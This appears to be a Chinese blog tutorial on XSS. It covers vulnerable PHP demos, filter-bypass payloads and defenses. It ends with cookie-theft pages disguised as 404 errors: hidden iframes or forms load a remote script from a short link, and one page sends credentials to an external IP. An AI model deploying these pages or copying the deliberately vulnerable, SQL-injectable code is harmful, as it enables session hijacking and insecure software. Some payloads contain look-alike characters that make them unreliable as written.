XSS(跨站脚本攻击)详解 (下)

XSS(跨站脚本攻击)详解 (下)

Hack 9月5日

XSS漏洞的简单攻击测试

反射型XSS:

先放出源代码

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
//前端 1.html:<html><head lang="en">    <meta charset="UTF-8">    <title>反射型XSS</title></head><body>    <form action="action.php" method="post">        <input type="text" name="name" />        <input type="submit" value="提交">    </form></body></html> //后端 action.php:<?php    $name=$_POST["name"];   echo $name;?>

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

所以,我们可以在输入框中提交数据: <script>alert('hack')</script>  ,看看会有什么反应

页面直接弹出了hack的页面,可以看到,我们插入的语句已经被页面给执行了。

这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端

存储型XSS:

先给出源代码

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
//前端:2.html<html><head lang="en">    <meta charset="UTF-8">    <title>存储型XSS</title></head><body>    <form action="action2.php" method="post">        输入你的ID:<input type="text" name="id" /> <br/>        输入你的Name:<input type="text" name="name" /> <br/>        <input type="submit" value="提交">    </form></body></html>//后端:action2.php<?php  $id=$_POST["id"];  $name=$_POST["name"];  mysql_connect("localhost","root","root");  mysql_select_db("test");    $sql="insert into xss value ($id,'$name')";  $result=mysql_query($sql);?>//供其他用户访问页面:show2.php<?php  mysql_connect("localhost","root","root");  mysql_select_db("test");  $sql="select * from xss where id=1";  $result=mysql_query($sql);  while($row=mysql_fetch_array($result)){    echo $row['name'];  }?>

这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS代码就被执行了。

我们输入 1   和 <script>alert(\'hack\')</script>   ,注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后,我们看看数据库

可以看到,我们的XSS语句已经插入到数据库中了
然后当其他用户访问 show2.php 页面时,我们插入的XSS代码就执行了。

存储型XSS的数据流向是:前端-->后端-->数据库-->后端-->前端

DOM型XSS:

先放上源代码

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
// 前端3.html<html><head lang="en">    <meta charset="UTF-8">    <title>DOM型XSS</title></head><body>    <form action="action3.php" method="post">        <input type="text" name="name" />        <input type="submit" value="提交">    </form></body></html>// 后端action3.php<?php  $name=$_POST["name"];?><input id="text" type="text" value="<?php echo $name; ?>"/><div id="print"></div><script type="text/javascript">  var text=document.getElementById("text");  var print=document.getElementById("print");  print.innerHTML=text.value;  // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。</script>

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

我们可以输入 <img src=1 οnerrοr=alert('hack')>     ,然后看看页面的变化

页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。

这就是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器

XSS的简单过滤和绕过

前面讲sql注入的时候,我们讲过程序猿对于sql注入的一些过滤,利用一些函数(如:preg_replace()),将组成sql语句的一些字符给过滤,以防止注入。那么,程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到XSS攻击的目的。

一:区分大小写过滤标签

先放上源代码

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
//前端 1.html:<html><head lang="en">    <meta charset="UTF-8">    <title>反射型XSS</title></head><body>    <form action="action4.php" method="post">        <input type="text" name="name" />        <input type="submit" value="提交">    </form></body></html> //后端 action4.php:<?php$name=$_POST["name"]; if($name!=null){  $name=preg_replace("/<script>/","",$name);      //过滤<script>  $name=preg_replace("/<\/script>/","",$name);   //过滤</script>  echo $name; }?>

 绕过技巧:可以使用大小写绕过  <scripT>alert('hack')</scripT>

二:不区分大小写过滤标签

先放上源代码

这个和上面的代码一模一样,只不过是过滤的时候多加了一个 i ,以不区分大小写

  •  
  •  
$name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>$name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>

绕过技巧:可以使用嵌套的script标签绕过   <scr<script>ipt>alert('hack')</scr</script>ipt>

三:不区分大小写,过滤之间的所有内容

先放上源代码

这个和上面的代码一模一样,只不过是过滤的时候过滤条件发生了变化 

  •  
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

payload:  <img src=1 οnerrοr=alert('hack')>

我们可以输入 <img src=1 οnerrοr=alert('hack')>     ,然后看看页面的变化

XSS的防御

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

  •  
  •  
#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体$name = htmlspecialchars( $_GET[ 'name' ] );

如下,图一是没有进行html编码的,图2是进行了html编码的。经过html编码后script标签被当成了html实体。 

我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了

反射型XSS的利用姿势

我们现在发现一个网站存在反射型XSS,当用户登录该网站时,我们通过诱使用户点击我们精心制作的恶意链接,来盗取用户的Cookie并且发送给我们,然后我们再利用盗取的Cookie以用户的身份登录该用户的网站。

get型

当我们输入参数的请求类型的get类型的,即我们输入的参数是以URL参数的形式。如下图

该链接的为:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>

那么,我们要怎么构造恶意代码来诱使用户点击并且用户点击后不会发现点击了恶意链接呢?

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该链接页面会偷偷打开iframe框架,iframe会访问其中的链接,然后执行我们的js代码。该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面!

  •  
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<!DOCTYPE html><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">    <title>404 页面不存在 </title>    <style type="text/css">        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}        .error-page{background:#f0f1f3;padding:80px 0 180px}        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}</style></head><body><iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe><div class="error-page">    <div class="error-page-container">        <div class="error-page-main">            <h3>                <strong>404</strong>很抱歉,您要访问的页面不存在!            </h3>         </div>    </div></div></body></html>

而我们的XSS平台将得到用户的Cookie,然后我们就可以利用得到的Cookie以用户的身份访问该网站了。

注:我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性

post型

我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞

我们抓包查看

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该恶意链接的页面加载完后会执行js代码,完成表单的提交,表单的用户名参数是我们的恶意js代码。提交完该表单后,该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面。

我们这里写了一个404页面,404页面中隐藏了一个form提交的表单,为了防止提交表单后跳转,我们在表单下加了一个iframe框架,并且iframe框架的name等于form表单的target,并且我们设置iframe框架为不可见。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<!DOCTYPE html><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">    <title>404 页面不存在 </title>    <style type="text/css">        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}        .error-page{background:#f0f1f3;padding:80px 0 180px}        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}</style>     <script type="text/javascript">        function attack(){            document.getElementById("transfer").submit();        }</script></head><body><iframe src="form.html" frameborder="0" style="display: none"></iframe><div class="error-page">    <div class="error-page-container">        <div class="error-page-main">            <h3>                <strong>404</strong>很抱歉,您要访问的页面不存在!            </h3>        </div>    </div>    <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">         <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">         <input type="hidden" name="password" value="1">    </form>    <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe></div></body></html>

当用户点击了我们构造的恶意链接,发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交。

而我们的XSS平台也收到了发送来的数据(这数据中没有Cookie的原因是这个网站我没设置Cookie,只是随便写的一个页面)。

利用JS将用户信息发送给后台

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<!DOCTYPE html><html><head lang="en">    <meta charset="UTF-8">    <title></title>    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>    <script>        $(function(){            //我们现在假如 user和pass是我们利用js获得的用户的用户名和密码            user="admin";            pass="root";            url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;            var frame=$("<iframe>");            frame.attr("src",url);            frame.attr("style","display:none");            $("#body").append(frame);      //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。        });</script></head><body id="body">    <h3>hello,word!</h3></body></html>

当用户访问了该页面,我们后台就可以看到用户访问记录。

发布了116 篇原创文章 · 获赞 41 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/pangzhaowen/article/details/102912333